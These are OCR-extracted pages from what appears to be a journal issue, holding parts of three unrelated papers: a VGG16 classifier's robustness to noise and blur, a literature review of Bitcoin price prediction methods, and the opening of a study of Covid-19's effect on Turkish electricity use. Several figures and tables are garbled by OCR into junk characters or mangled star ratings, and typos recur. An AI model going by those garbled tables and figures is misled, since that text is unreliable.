and VGG16 are given. In section three, properties of fine-tuned VGG16 as binary Classifier are given.
In the fourth section comparative experimental results are given. Finally the results of the study is
summarized.

2. Background

Convolutional neural networks provide a good means for extracting image features for deep learning
classification applications. Due to its success, in the past several years ConvNets have frequently been
used in sequence processing applications as well as computer vision problems. ConvNets usually consist
of a convolutional layer, pooling layer, and fully connected layer as shown by Figure 1. There can be a
number of convolutional layers according to complexity of the problem and pooling layers between the
convolutional layers. Convolutional layers usually extracts image features and usually dense layers
follow convolutional layers for classifying the selected features. Hence, the last layer of the network
usually is a softmax layer or a sigmoid layer. In practice convolutional layers are usually implemented
for one dimensional (1D), two dimensional (2D) and three dimensional (3D). ConvNets for computer
vision problems are usually implemented using 2D convolutional layers.

|

Convolution and Pooling Layers Fully Connected Layers

Figure 1 Basic idea of ConvNet architecture

A more detailed illustration of a convolutional layer of ConvNet is given by Figure 1. A 2D
convolutional layer apply a number of trainable kernels to the input images. The number of outputs
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depends on the number of kernels and they select some features of input image according to kernel
weights. Each of the output images are then applied to pooling operation or directly sent to another
convolutional layer. Kernel weights and biases are the trainable parameters of the convolutional part of
the ConvNet. Training ConvNets for large set of images usually demands intense computational power
and it sometimes takes days or weeks to train a deep learning model even on a powerful computer with
GPU support. As an alternative to training whole deep learning network, pre-trained networks are of
importance in deep learning applications. VGG16 model was developed by K. Simonyan and A.
Zisserman and it was submitted to Large Scale Visual Recognition Challenge 2014 (ILSVRC2014)
[17].VGG 16 is a pretrained network and it has 13 convolutional layer and dense layers for multiclass

classification of 1000 classes as shown by Figure 2. This model was fine-tuned as binary classifier and
used in the experimental evaluations.
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Figure 2 Layers of VGG16 model

3. Binary Classifier and Experimental Setup

In the present study, VGG16 deep neural network were trained as binary classifiers. For this purpose,
fully connected layers of both models are replaced with a sigmoid layer that has one unit for binary
classification. All ConvNets layers were frozen except the last three ConvNets layers of VGG16. Figure
3 shows the block diagram of model used in the study. Dense layer contains a sigmoid layer for binary
classification. Table 1 summarizes the trainable and non-trainable parameters of the model.

VGG16

~ ~ ~ | ~ Binary
A AR S fia0 e dbvedbq apa fa fa Fa) ko fhn Ths {Ea) Y = ficati
L VO SAARThihhshinin s oo classification
_ R N e e
98 %cc%cocc|lTcoo %o o F=
W Q L o @ Lo L e Q| o 9 O @
S = S = £
Frozen layers Trained layers
Figure 3 Binary classifier using VGG16 the last ConvNets
Table 1 Binary classifier model parameters
Trainable parameters 10,290,945
Non-trainable parameters 7,635,264
Total parameters 17,926,209
Number of Trained Conv2D layers 3
Number of Frozen Conv2D layers 10

Models were trained using Dogs vs. Cats classification dataset from Kaggle for training deep learning
models. In the experiments, 4000 images were used for training and 2000 images were used for
validation. Data Augmentation using ImageDataGenerator was applied where rotation range is set to
30% and width shift range, height shift range, shear range and zoom range are all set to 20%. Horizontal
and vertical flip options are all set to true. The models were trained using 150 epoch and 200 steps per
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epochs. Validation during training were realized using 100 steps. In each case batch size is set to 20. In
order to train a reference model, no corruption augmentation was done apart from the augmentations
described above. Figure 4 shows the accuracy and validation results for the trained binary classifier and
the losses in each epoch for training and validation. It provided about 97% validation accuracy for the
images with no corruption augmentation.
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Figure 4 Accuracy and validation results for VGG16 binary classifier without augmentation for corruptions
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Figure 5 An example input image and blur effects, Gaussian noise and Salt and Pepper noise épphed fo it for the

illustration
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Figure 6 Training and validation accuracies: a) variable Gaussian noise corruption, b) fixed Gaussian noise
corruption c) variable Salt and Pepper noise corruption, d) fixed Salt and Pepper noise corruption e) variable
Blur corruption, f) fixed Blur corruption

4. Experimental results

Figure 5 shows an example input image and example corrupted images of various qualities were
synthesized using the original input. These corruptions include blur effect, Gaussian noise and Salt and
Pepper noise examples used in augmentation during training and testing. Summary of training and
validation accuracies for all the cases used in the experiments are shown by Figure 6. Figure 6a and 6b
show the training with variable and fixed Gaussian noise augmentations respectively. Gaussian noise
level for variable corruption was varied between 0 and 0.1 using random numbers. The same is also true
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for Salt and Pepper noise where Figure 6¢ and 6d show the training with variable and fixed noise
augmentations respectively. Figure 6e and Figure 7f show the results for augmentation with variable
and fixed Blur effects. Filter kernel size was selected as 7x7 for fixed augmentation and filter kernel
size was selected randomly as no filtering, 3x3, 5x5 and 7x7 for variable implementation.

Table 2 show the validation accuracies for the cases where the model trained with and without Gaussian
noise corruption. The results for model where augmentation was done without Gaussian noise corruption
shows significant drops approximately to 53% as the Gaussian noise variance level increased to 0.1.
This is increased approximately to 90% when the model trained with fixed Gaussian noise corruption
where variance level is set to 0. However the results for images with corruption drops approximately to
72%. The best results were obtained for the model trained with variable Gaussian noise corruption where
variance level is selected randomly. For the cases where Salt and Pepper noise corruption was used
similar behavior was observed as shown by Table 3. The best results for this case were also obtained
using the model trained with corruptions with random levels. Table 3 shows the results for input images
corrupted with blur effects using average filter reduces the accuracy as the level of blur using average
filter is increased. For the case without augmentation, the accuracy drops from 97% to 96% for 3x3 blur.
Although this can be assumed to be small decrease, the accuracy further drops approximately to 93%
for 5x5 blur and 87% for 7x7 blur. These were improved when fixed blur corruption using 7x7 window
included in augmentation during training. In general, augmentation with fixed or random blur
corruptions produced close results and they provided better accuracy over training with no blur
augmentation.

Table 2 Validation accuracies with and without Gaussian noise corruption

. . .. . . Augmentation with |  Augmentation with
Gaussian noise Training without Gaussian . . .
. . ; . fixed Gaussian | random Gaussian noise
corruption variance noise corruption noise (var=0.1) (var=0.0-0.1)
0.000 0.9710 0.7180 0.9647
0.005 0.9457 0.7848 0.9546
0.010 0.9147 0.8196 0.9490
0.050 0.6538 0.8995 0.9263
0.100 0.5388 0.9027 0.8988
Mean 0.8048 0.8249 0.9387

Table 3 Validation accuracies with and without Salt and Pepper noise corruption

Salt and Pepper noise | Training without Salt and Augmentation with Augmentation with
. . . : fixed Salt and Pepper |random Salt and Pepper
corruption variance Pepper noise corruption noise (var=0.1) noise (var=0.0-0.1)
0.000 0.9710 0.9026 0.9734
0.005 0.9647 0.9153 0.9668
0.010 0.9622 0.9165 0.9645
0.050 0.8775 0.9382 0.9501
0.100 0.7145 0.9361 0.9343
Mean 0.89798 0.9217 0.9578
Table 4 Validation accuracies with and without Blur corruption
. . .. . Augmentation with fixed Augmentation Wlt}.l
Blur corruption size | Training without Blur . random Blur corruption
. Blur corruption (average
(average filter) corruption filter: 7x7) (average filter: no
’ filtering,3x3,5x5 and 7x7
no filtering 0.9710 0.9480 0.9630
3x3 0.9607 0.9555 0.9577
5x5 0.9337 0.9567 0.9492
7x7 0.8662 0.9545 0.9335
Mean 0.9329 0.9536 0.9508
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5. Conclusions

Performance of deep learning based classifiers may reduce significantly under corrupted input
conditions. These can be compensated with augmentation using corrupted images during training to
some extent. In the presented paper the performance of binary classifier using VGG16 deep neural
network under corruption effects was investigated. In the experiments, the effects of Gaussian noise,
Salt and Pepper noise and blur with average filter were investigated comparatively. According to the
results, augmentation with the Gaussian noise, Salt and Pepper noise and blur effect improves the
resistance to these types of corruptions. Experiments in this paper were carried out for binary classifier
using VGG16 trained with ImageNet. Last three layers and a dense layer were trained in the
experiments. Performance of binary classifier trained with augmentation without no corruption
deteriorates significantly as Gaussian noise corruption at the input image is increased. In general,
augmentation with fixed Gaussian noise produced worse results than the variable one. Similar behavior
was also observed for Salt and Pepper noise corruption. Corruption with blur effects on input images
using 3x3, 5x5 and 7x7 average filters have significant effect on the accuracy. Training using
augmentation with random blur corruption showed better performance than fixed corruption for no blur
effect or blur effect 3x3 on the input images. On the other hand training with fixed blur effect produced
better results for blur effects 5x5 and 7x7 on the input images. In general, augmented training with
corruption effects improved the results for corrupted images which may occur naturally. Presented
comparative results here give insights into a binary classifier under corruption effects which may occur
naturally. Although the experiments here were implemented for VGG16 these can be repeated for other
models. Also these results can be extended for other corruption types.
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Abstract

Bitcoin is invented in 2009 by the pseudonymous Satoshi Nakamoto. Bitcoin is a decentralized digital currency
system [1]. Bitcoin is the most acknowledged cryptocurrency in the world, which provide it interesting for
financier. The cryptocurrency market capitalization on date 22nd July 2020 value represents roughly USD 277
billion of dollars, bitcoin representing 62% of it. However, a disadvantage for investors is the difficulty of
predicting the price of bitcoin due to the high volatility of the bitcoin exchange rate. Measurement, estimation, and
modeling of currency exchange rate volatility compose a significant research area. For this reason, a lot of studies
done about bitcoin price prediction both Machine Learning (ML) and Statistical Methods. In comparison studies,
ML methods perform better in general. This review is a comprehensive study on how we can better predict bitcoin
prices by grouping previously done studies. The presentation of Bitcoin price prediction studies in groups reveals,
the difference from other review studies. These are statistical methods, ML and statistical methods, ML-ML,
frequency effect of selected time, effect of social media and web search engine, causality, optimization of
hyperparameters methods.

Keywords: Bitcoin price prediction, machine learning, statistical methods.

1. Introduction

Virtual currency is a relatively new phenomenon in global finance. Therefore, its identity, structure, and
function constantly improve; however, in the meantime, it is increasingly recognized as a better medium
for global finance with great potential [2]. Bitcoin was developed to avoid using reliable third parties
such as banks, cards, and governments, as well as to avoid time delays and money redirection costs [3].
Bitcoin, one of the virtual currencies, is distinguished from the others by its enormous potential. The
majority of cryptocurrencies are largely clones of bitcoin or other cryptocurrencies [4]. For this reason,
it attracted the attention of many researchers, and many articles on price prediction were published by
using both statistical and ML methods [5]-[12]. Statistics is a collection of tools improved over hundreds
of years for summarizing the dataset and quantifying properties of an area such as an instance of
observations. Additionally, Statistical Methods constitute a significant base area of mathematics, which
is required for reaching a deeper understanding of the behavior of ML algorithms. MLsearches for
patterns in the dataset and tries to conclude, just as people would, while statistical methods works within
the process of obtaining some meaningful information by analyzing the dataset correctly.

There are many different options to create a time series dataset for Bitcoin [13]-[16].The bitcoin dataset
can obtain a rather granular time interval in theory. Thus, it is possible to obtain many different datasets
by considering different time intervals. In addition to time variability, bitcoin is an environment where
anyone can see transfers. Among the features existing in the blockchain structure such as volume,
researchers can add features that were established with the causality relationship to the dataset.

Apart from the features added from the blockchain, they can also add extra features that are believed to
have a causality relationship or that are believed to affect bitcoin price, such as dollar rate, gold price
rate, social media, one or more of the other cryptocurrencies and so on [17]-[27]. For these reasons,
while examining the studies on bitcoin price estimation, it is necessary to examine the results due to the
differences in methods, the datasets, as well as investigating the effects of causality relationships on the
results. A study that added extra features may perform better with one of the statistical methods while
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two studies using the same approach may obtain a better result by conducting hyperparameter
optimization better.

The most commonly used statistical and ML algorithms are as follows. Examples of Statistical methods
include moving average (MA), a simple moving average (SMA), auto-regressive integrated moving
average (ARIMA), the generalised autoregressive conditional heteroskedasticity (GARCH),
autoregressive distributed lag (ARDL) and nonlinear autoregressive distributed lag (NARDL) [7], [8],
[9]. Additionally, ML methods include support vector machine (SVM), multi-layer perceptron (MLP),
linear regression (LR), recurrent neural network (RNN), convolutional neural network (CNN),
generalized regression neural networks (GRNN), long-short term memory (LSTM) and gated recurrent
unit (GRU) [13], [28]-[31].

Statistics is defined as the study of collection, analysis, interpretation, forecasting, presentation, and
organization of dataset while ML is effectively used in various fields such as forecasting [32], real-time
advertisement, malvare detection [33], and text-based sentiment analysis [34]. Both are used in
forecasting problems. In the comparative studies of ML and statistical methods, ML methods perform
better in general [5], [6], [10]-[12].

Based on reference [35], it was determined that there is no seasonal relationship in the Bitcoin dataset,
which is a disadvantage for statistical methods. This is also shown as the reason for ML models to
provide better performance results.

Based on reference [32], it was discovered that especially deep learning methods are more successful
than statistical and classical ML methods in datasets containing nonlinear and hidden patterns, such as
the bitcoin dataset. There are also hybrid models consisting of statistical and ML algorithms working
together. The references [5] and [6] are studies that can be examples of this model.

In this report, the studies on Bitcoin Price prediction were examined. The studies were presented in
detail in the "Literature Review” section.

Then, in the “Result & Discussion“section, the studies were visualized according to the causality
relationship, the results of the methods, etc. The main contribution of the article is that following the
examination of the bitcoin price prediction, they were drawn into groups and analyzed in detail, which
enabled drawing conclusions from the articles according to the groups. For those who want to conduct
researches about Bitcoin price, this study may prove vital thanks to the results that were summarized for
all the groups.

2. Literature Review

In this report, we used articles published on bitcoin price prediction to compare ML and statistical
methods. The articles chosen were among those published in recent years, while older articles were also
included because some methods lost their popularity in recent times. The articles were analyzed in terms
of the frequency of the dataset, the causality relationship, and the method.

2.1. Statistical Methods

Based on reference [7], ARIMA, AR, and MA were conducted in the time series dataset. The result of
this paper, using the ARIMA model on the Bitcoin price is predicted with an accuracy of 90.31%. Thus,
it can be stated that the best result was attained by using ARIMA.

Complex processes cannot be represented and successful results cannot be achieved using the linear
model in the real world. However, the ARIMA model has one advantage. It has specific components
that define trend, error, and seasonality separately (p, d, q). Therefore, nonlinear models can be
represented and can yield good results as in reference [7].

Based on reference [8], only the ARIMA algorithm was used to predict the Bitcoin prices. To find the
lowest MSE, the researchers used fit function with different values in the ARIMA algorithm and found
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the lowest as MSE = 170962.195. This result differs from other studies because of refraining from using
a scale function.

Based on reference [9], some type of GARCH models were used for daily closing prices between July
18, 2010, and October 1, 2016. As a result, the researchers discovered that AR-CGARCH was the best
model.

2.2. Machine Learning -Statistical Methods

Based on reference [10], four methods were used for price predictions, which included Logistic
regression, Support vector machine, RNN, and ARIMA. In terms of prediction accuracies for these four
methods, ARIMA has 53 % for only next day price prediction while performing poorly for longer terms
such as using price prediction of the last few days for prices of next 5-7 days. RNN performs consistently
up to 6 days such as 50%. The logistic regression-based model’s assumptions were not violated; it can
only conduct classifications accurately if a separable hyperplane exists with 47 % accuracy. SVM has
an accuracy of 48%.

Based on reference [5], the researchers compared the input selection of ARIMA and VAR while using
Support Vector Regression (SVR) and MLP network, which is a process called the Hybrid Model. Trials
indicate that the SVR method surpassed the MLP networks for each entry. In addition, hybrid methods
perform better than naive ARIMA and VAR.

Based on reference [6], the researchers used MLP Based Nonlinear Auto-Regressive Network with
exXogenous (MLP-based NARX) and MA as technical indicators for the prediction model. The
researchers also used an optimizer called The Particle Swarm Optimization (PSO) algorithm. This
model's results were acceptable in general while the correlation coefficient was at the 95% confidence
limit. The study checked the prediction performance between statistical models and ML methods. The
daily interval trading dataset from April 30, 2013, to November 20, 2018, was used for the examination.
GRU (RNN) as ML and The GARCH, ARIMA as traditional Statistical methods were also included. In
case there are sufficient datasets to learn for RNN, they perform better than linear models such as
GARCH while making predictions for the future by using past datasets. For this reason, in the study in
guestion, the RNN model surpassed the GARCH model.

Furthermore, the same results were obtained in reference [11]. In the study, the researchers used the
GARCH model, SMA, RNN (GRU). The GRU model performed better than SMA with the lowest Root
Mean Square Error (RMSE) and mean absolute error (MAE) ratios.

Bayesian optimized RNN, LSTM, and ARIMA were used in another study. LSTM reached the maximal
accuracy while the RNN reached the minimal RMSE. The ARIMA's predictions were poor for both.
RNN yielded good results with a time lag of 50 days while LSTM used between 50 and 100 days for
time lag where the best estimate was obtained with 100 days [12].

2.3. Machine Learning-Machine Learning

The least commonly used two or more ML algorithms for bitcoin price prediction were compared with
each other. The dataset from January 1, 2012, to January 8, 2018, a 1-minute interval trading dataset
was used. Theil-Sen Regression, Huber Regression, LSTM, GRU bitcoin price were predicted, and then
GRU vyielded the best accuracy result via Mean Squared Error (MSE) at 0.00002 and the R-Square (R2)
was as high as 99.2% [13].

Based on reference [32], the researchers used three different ML models for bitcoin price prediction.
These included LSTM, GRNN, and Nearest Neighbors In the study, the nonlinear structure of Bitcoin
was investigated by using LSTM, Nearest Neighbors, and GRNN. LSTMs significantly surpassed the
GRNN in terms of the RMSE. The researchers discovered that the generalized regression neural
networks were not as successful as LSTM in finding patterns in addition to being time-consuming.

274



Sakarya University Journal of Computer and Information Sciences

Kervanci et. al

Based on reference [28], the Bitcoin closing price was predicted by using ML methods, LR, L-SVM,
and P-SVM. Bitcoin's closing price was predicted for MA and WMA filters by using daily closing price,
highest price, and lowest price time series. P-SVM performed the best with 0.00075 MSE while LR
performed the worst.

Based on reference [29], the researchers used a set of exogenous and endogenous variables to predict
Bitcoin price. RNN and a GRU were proposed to predict Bitcoin price. RNN and LSTM are slow down
than GRU, which can learn and train Bitcoin price fluctuations more adequately. The results of the study
included RMSE of train-dataset NN 0.02 LSTM 0.010, GRU 0.010 while RMSE of test-dataset NN
00.31, LSTM 0.024, GRU 0.019 were also presented. Since LSTM and GRU are deep learning (DL)
models, they perform better than traditional ML models.

Based on reference [30], the researchers used methods that covered ARIMA, LSTM, RNN, Gradient
boosted trees (GBDT), Ensemble learning method, K-NN. Unlike other models, the K-NN model did
not work rather effectively.

Of all the models used in the study, the best one is the ensemble learning method with a 92.4% accuracy
rate and 0.002 RMSE value. The second place belongs to Gradient boosted trees with a 90% accuracy
rate and 0.001 RMSE value. The GBDT is a ML technique prediction model in the form of a collection
of poor estimation models, for gradient amplification, regression, and classification problems [31].

2.4. Frequency Effect of Selected Time

The effect of time on the dataset in bitcoin price prediction is via DL. The challenge of applying DL
techniques is that algorithms require a large number of dataset samples to learn [14]-[16].

Based on reference [14], the researchers used time-series data with high-frequency returns on a 1-30
minutes scales. Since the dataset consisting of the price varies within 1-minute time intervals and it is
highly volatile, the researchers preferred the data set with 30-minute intervals.

Based on reference [15], the period between May 6, 2014, and June 24, 2014, with Represent Bayesian
regression algorithm was used to obtain the dataset of three different lengths, which covered X1 with a
time-length of 30 minutes, X2 with a time-length of 60 minutes, and X3 with a time-length of 120
minutes. Then, interesting patterns were searched with the k-means algorithm in the datasets above. This
is approximately, 89% return in 50 days with X2. Since the result in the study [15] does not contain
RMSE and MAE values, we cannot compare it with other studies.

Based on reference [16], the researchers found that the 10-minute dataset yielded better sensitivity and
specificity compared to the 10-second dataset. With 10 minutes of the dataset, the researchers could see
a clearer trend. This is because, in a smaller window, the price change can be predicted accurately.

However, the researchers recommended the 10-minute interval as a lower margin of profit, which was
because the algorithm cannot send a trade in the 10-second window.

In this study, two main elements are used to obtain the bitcoin price prediction with the lowest RMSE
value. Considering the previous articles, it was observed that the best results were more frequently
spaced, that is, they covered a minute, a second, 10-minute, 10-second datasets.

Based on reference [16], the researchers used two separate time interval datasets and discovered that the
10-minute dataset yielded better sensitivity and specificity ratios compared to the 10-second dataset.
The dataset consists of 30, 60, 120-hour bitcoin prices.

Based on reference [15], the researchers constructed a time series with time 10-second intervals between
February 2014 and July 2014. Unlike reference [16], the time interval used was quite large and the
researchers obtained more than 10 million cross-correlations. The researchers used different threshold
“1” to simulate the trading strategy and see how the performance of the strategy changed. The researchers
used two models for time-length as 30, 60, 120 minutes and 180, 360, 720 minutes. Concretely, as the
threshold increase, the number of trades decreased and the average holding time increased. At the same
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time, the average profit per trade increased. This resulted in almost a two-fold increase in investment in
50 days.

The average of the minute and second dataset during the day yielded good results in studies that
conducted daily average value estimates.

For example, based on reference [13] ,by using 1-minute interval trading dataset on Theil-Sen
Regression, LSTM, Huber Regression, and GRU by predicting bitcoin prices, GRU yielded the best
accuracy result via MSE at 0.00002. However, we are interested in LSTM and its MSE result is
0.000431. Both results are a prediction of the average price of the day.

Furthermore, since there were more gaps and losses in the second set of datasets in the previous articles,
a dataset of 1, 30, 60, 120, 180 minutes was created and used on the network. It can be stated that by
looking at studies [13], [15], [16], when conducting bitcoin price predictions, the use of hour, minute,
second datasets, instead of a daily dataset, provided better results. This was because the dataset was
enlarged and the frequency was increased. Therefore, both minute and daily prices were used for the
comparisons.

2.5. Effect of Social Media and Web Search Engine

Whether bitcoin's price variation was related to the volume of tweets or Web Search engine results were
investigated and it was discovered that there was a significant relationship between Google Trends data
and tweets, which was a positive mood for bitcoin's price. The result confirmed that the quantities of
exchanged tweets could predict fluctuations in Bitcoin price. Moreover, in this study, the effect of the
comparisons between the positive and negative tweet trends regarding the Bitcoin price was also
observed as a reason for Bitcoin’s thriving popularity while a boost in search volumes resulted in an
upward trend in tweets [17]. Furthermore, numerous studies, such as [18], [19], [20], were conducted
on this subject. Although all of them reported a little impact on bitcoin price prediction, researchers
continue to examine the relationship between bitcoin and Twitter, Google Trends.

2.6. Causalit

Generally, the relationship between bitcoin, gold, and dollar was evaluated by statistical methods. Two
studies [21], [22] used the GARCH model. This is because Bitcoin, gold, and dollar react to similar
variables in the GARCH model [22]. However, in the study [21], it was stated that Bitcoin was rather
different from gold and fiat currencies. ARDL and NARDL models were used in the study [23] and it
was discovered that there was no connection between bitcoin and gold price in the short and long terms
while there was no linear and quantile relationship. In the study [24], the same model, ARDL, and same
the result indicated that gold price had no significant impact on Bitcoin price.

Based on reference [25], the researchers found that while the market is normal, the volume can be used
to predict returns.However, when the market shows fluctuating performance, volume remains irrelevant
because only the historical price was significant for predicting future returns. We can see the effect of
dollar and gold on performance by investigating the studies that used the deep neural network, which is
believed to be the best method to estimate the bitcoin price such as study [26]. The effect of gold price
on bitcoin price prediction was examined using CNN, LSTM, and GRU models. LSTM results in the
least RMSE value for bitcoin price prediction. However, when the gold price is included in the network
as the parameter for bitcoin price prediction, LSTM, CNN, GRU models do not result in a positive
correlation between the gold price and bitcoin price.

Based on reference [27], considering the unique characteristics of Bitcoin and its trivial relations with
the fluctuations in the macroeconomics, it can be stated that the Bitcoin market has a weak relationship
with many assets.

Additionally, pieces of evidence of the link between markets in the short, medium, and long term were
demonstrated, which indicated that cryptocurrencies were relatively isolated from market shocks and
separated from popular financial assets based on findings of reference [36].

276



Sakarya University Journal of Computer and Information Sciences

Kervanci et. al

2.7. Optimization of Hyperparameters

Setting hyper-parameters has always been a problem. The most important reason is that hyperparameters
are datasets and they are model specific. Hyperparameters that provide the best results for a dataset or
model do not have the same effect when the dataset or model changes. Classic hyper-parameters in
neural networks include network layers, weight initialization, , number of neurons in each layer, and
learning rate [37]. They are evaluated only in terms of the learning rate.

Based on reference [38], a wide range of parameters to determine the effects of learning rates include
batch sizes, momentum, different non-linearities, and peepholes.

In the next report; when conducting bitcoin price prediction with LSTM, hyperparameters optimization
will be used manually and the activation function, optimizer, batch size, learning speed, periods, network
layers, number of neurons in each layer will be evaluated.

Hyperparameter optimization for bitcoin price prediction was chosen for the next report because the
manual or automatic hyperparameters optimization has never been conducted before.

3. Materials and Methods

Previous studies on Bitcoin price prediction are grouped under certain headings. These groups include
(1) Statistical Methods, (2) Machine Learning-Statistical Methods, (3) Machine Learning-Machine
Learning, (4) Effect of Selected Time, (5) Effect of tweets, and Web Search Media, (6) Causality, (7)
Optimization of Hyperparameters.

The literature review was conducted for each of the topics mentioned above and the results were
compared and summarized in the "Results & Discussion™ section. Starting with the highest number of
stars, scoring was conducted by giving the algorithm the best result of the methods that were compared
according to the error rates (MAE, MSE, MAPE, and RMSE) or the criteria in the study.

In this report, it was aimed to determine whether the bitcoin market had a relationship with price
fluctuations in gold, crude oil, natural gas, the dollar-euro parity, ethereum, and other cryptocurrencies.
We wanted to figure out the causality relationship between bitcoin and gold, crude oil, natural gas,
ethereum, the dollar-euro parity based on the seven different models, which included MLP, SVM,
Generalized Regression Neural Network (GRNN), RNN, LSTM, GRU, Convolutional Neural Network
(CNN) or statistical methods. Then, the best model was determined by using the error function, which
includes RMSE and MAE. For causality relationship at any instance, the past samples of data were
placed in the network input while the subsequent values were predicted at its output. Six different
datasets will be used with seven different models, which cover MLP, SVM, GRNN, RNN, LSTM, GRU,
and CNN.

4. Results and Discussion

This report is conducted for the analysis and comparison of prediction bitcoin price by using ML and
Statistical Methods. For bitcoin price prediction, the DL methods in time series forecasting are expected
to be better than the traditional ML models and statistical models.

The previous experimental studies on forecasting cryptocurrency prices provided evidence regarding
the fact that this is true. Considering the number of layers in ANNSs, the combination of nodes between
multiple layers is known to increase the ANN representation. Additionally, several recent studies proved
that the efficiency of ANN representation increased exponentially in terms of certain function classes
compared to the increase in the number of layers [39]. However, generally, it was observed that the
increase in the layers does not increase the yield after a certain point and vice versa [40].

Based on reference [5], the researchers compared input selection in ARIMA, VAR while using SVR
and MLP networks. This process, also called Hybrid Model Experiments, demonstrated that the SVR
method outperformed the MLP networks for each input selection algorithm.
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When the models are compared, the input we selected is vital and it affects the results [5]. Therefore,
when the dataset is sparse or when there is an insufficient dataset to train the network, the result of ML
and statistical methods may be close, which may yield better results even by using statistical methods.
This does not mean that statistical methods are better than ML. In recent days, there is a growing
consensus that analyzing particularly complex patterns of DL neural networks and predictions using
these patterns are more effective than traditional topologies [32].

Below, we compared the results of ML methods with conventional statistical methods while
occasionally covering hybrid structures that use both.

Accordingly, the following results were presented.

* ARIMA yields the best results among the statistical methods [7].

* ARIMA remains weak compared to RNN, LSTM [12], [30] and SVM, MLP [6], [11].

*As a result, it was proved that ML methods produced better results compared to statistical methods.

*Based on references [6], [11] and [12], when the traditional ML models, such as SVM, MLP, RNN,
were compared, we can state that MLP yields the best results.

*GRU vyields the best results among the ML methods. The researchers made the best estimate with an
error value of 0.00002 MSE by using the Closed, Open, High, and Low prices to estimate the intraday
weighted price in reference [13].

*As a result, it was proved that DL methods produced better results compared to traditional ML.
* In the comparison of ML and statistical methods, ML algorithms yield better results.
* In the comparison of Traditional ML and DL models, DL algorithms yield better results.

Table 1 Comparison of ML and statistical methods

Accuracy

ARIMA

AR

MA

Theil-Sen
Regression

Huber
Regression

Random
Forest

MLP

SVM

RNN

LSTM

GRU

GRNN

[12], [30]

*%*

*k*k

*%*

*k%k

*k%

[13]

*%

[16] *
[35] *
[41]

[7]
[6], [11], |~
[12] *
[29] *

[32]

*%

*% * *k%

*k% *% *

*% *%

*% *k%

** *

Below, we compared the results of studies on gold, crude oil, natural gas, ethereum, the dollar-euro
parity, or other commodities that may have a causality relationship with bitcoin.

Accordingly, the following results were presented.

*Based on references [22], [23], [25] and [26], we can say that there is no correlation between gold,
dollar and bitcoin price and in reference [21], it was stated that Bitcoin was rather different from gold
and fiat currencies.

Based on reference [36], the researchers stated that cryptocurrencies were relatively isolated from
market shocks and separated from popular financial assets.

However, based on reference [24], the gold price had no significant impact on Bitcoin price and based
on reference [27], it can be stated that the Bitcoin market is in a weak relationship with many assets.
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5. Conclusion and Future Work

In terms of Covid-19’s effect on Bitcoin price, after rising from $ 7,200 on January 20, 2020 to $ 10,000
between January and February, the price on January 1, 2020 went down with Covid-19 at the end of
February. On March 13, 2020, with a harsh decrease to $ 5,000 levels occurred, which coincided with
the date when many countries observed Covid-19 cases, such as Covid-19 cases in Turkey and Italy.
Furthermore, this state could be related to the effect of the increasing number of deaths. Following the
sharp drop in Bitcoin, an upward trend with fluctuation from March 20, 2020, to June was observed.
Then, it attracted attention and experienced increases, which turned the negative effect of Covid-19 into
a positive effect and surpassed the $ 10,000 band. Even in a global pandemic phase, bitcoin has remained
a preference for investors. This shows that bitcoin will continue to be pursued with great interest just as
studies on its price prediction as it continues to maintain its appeal for investors.

Thanks to a detailed literature review on price prediction with bitcoin, it was observed that there was no
study on automatic or manual hyperparametric optimization in bitcoin price estimation.
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Abstract

With the year 2020, the world faced a new threat that affects all areas of life, negatively affects production in all
areas and paralyzes social life. The measures and restrictions taken by the country's governments to prevent the
epidemic from spreading rapidly in the society with the effect of the coronavirus (Covid-19), which first
appeared in China and spread all over the world, brought a new lifestyle. Covid-19 has been much the impact on
electricity use and electricity production in the period in Turkey as like other countries. There was a sharp
decline in commercial and industrial electricity use. The coronavirus effect has also been reflected in the
electricity demand and the consumption amount has undergone a great negative change. Due to the enactment of
measures against the new type of coronavirus epidemic and the partial or full-time curfews, electricity
consumption was moved to homes, supermarkets and hospitals in April 2020 from places where mass
consumption is intense, such as industry, workplaces and educational institutions. In this study, Covid-19 period,
the first cases were examined electricity production and consumption in Turkey as of the date it is seen
throughout, in comparison with electricity consumption data in the same month of the previous years
corresponding to this period, the effects on electricity generation and consumption habits of this period were
examined.

Keywords: Covid-19 process, Electricity production, Electricity consumption, Energy demand

1. Introduction

In developed countries around the world, energy consumption does not significantly increase, due to
the saturation point of per capita electricity use and continuous close to the fixed value. However, as
developing countries still maintain their development levels, the total electricity consumption and the
amount of electricity used per person increase every year. In the same way, Turkey is a developing
country. And electricity demand has a proportion of the increase with economic growth due to
industrialization and urbanization. Because Turkey has an increasing population continuously with a
rising trend. Due to the Covid-19 epidemic all over the world, people were forced to face a new
lifestyle that they are not used to.

In countries where the first cases were seen, urgent measures forced people to rearrange their lives
beyond encountering a different situation. Those who remained outside the mandatory work fields had
to continue their jobs from home. Slowing down production in all sectors or stopping it completely at
some points caused the electricity consumption used in the industry to decrease significantly. The
change caused a change in demand and low consumption in almost all types of energy types, as not
only in electricity but also in transportation, heating, and air conditioning routines.

Starting from the beginning of 2020 in the world, due to the introduction of global measures against
the Covid-19 epidemic, partial or full-time curfews, electrical energy consumption has shifted from
places such as industry, business and educational institutions to homes, supermarkets and hospitals.
The virus has affected all aspects of social needs such as health, economy and finance, labor,
education, environment, energy, defense, food and agriculture, technology and sustainability in all
visible countries [1].

At the global level, electricity consumption fell by 2.5% in the first three months of 2020, but it should
be noted that lockdown measures were implemented in less than a month in most countries. With full
quarantine, electricity consumption was reduced by at least 20% and smaller reductions for partial
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lockouts occurred. Initial analyzes by the International Energy Agency (IEA) show that the entire year
electricity demand may fall by 6%, which is equivalent to the combined electricity demands of France,
Italy, the United Kingdom and Germany in 2019 [2]. The weekly consumption pattern in Germany
remained almost the same, albeit at a lower level, but the morning peak demand in Italy, France, Spain
and Poland showed a more steady course while evening peak demand remained as before [3]. While
low electricity consumption levels in the world reflect negatively on the production of fossil fuel
power plants, the penetration of renewable energy in electricity grids reaches the highest levels [4].
According to the study based on data from the European Network of Transmission System Operators
(ENTSO-E), Italy's electricity demand decreased by 20% after the introduction of full quarantine,
while France and Spain saw a decrease of 13% and 10%, respectively [5],[6].

Covid19 scope of the measures taken to combat the outbreak in Turkey, quarantine practices, the
impact of such measures on energy sector changes was seen during business hours. Covid19 first case
in Turkey was recorded on 11 March 2020, to withdraw from this date to people's homes and in homes
with social disconnection of communication has increased electricity use. However, there was a sharp
decrease in electricity use in businesses, since workplaces and manufacturing factories completely
stopped their production or did partial work and production. The coronavirus effect has also reflected
on the total electricity consumption demand and the consumption amount has undergone a great
negative change [7].

In this study, the relationship between the Covid-19 period and electricity consumption has been
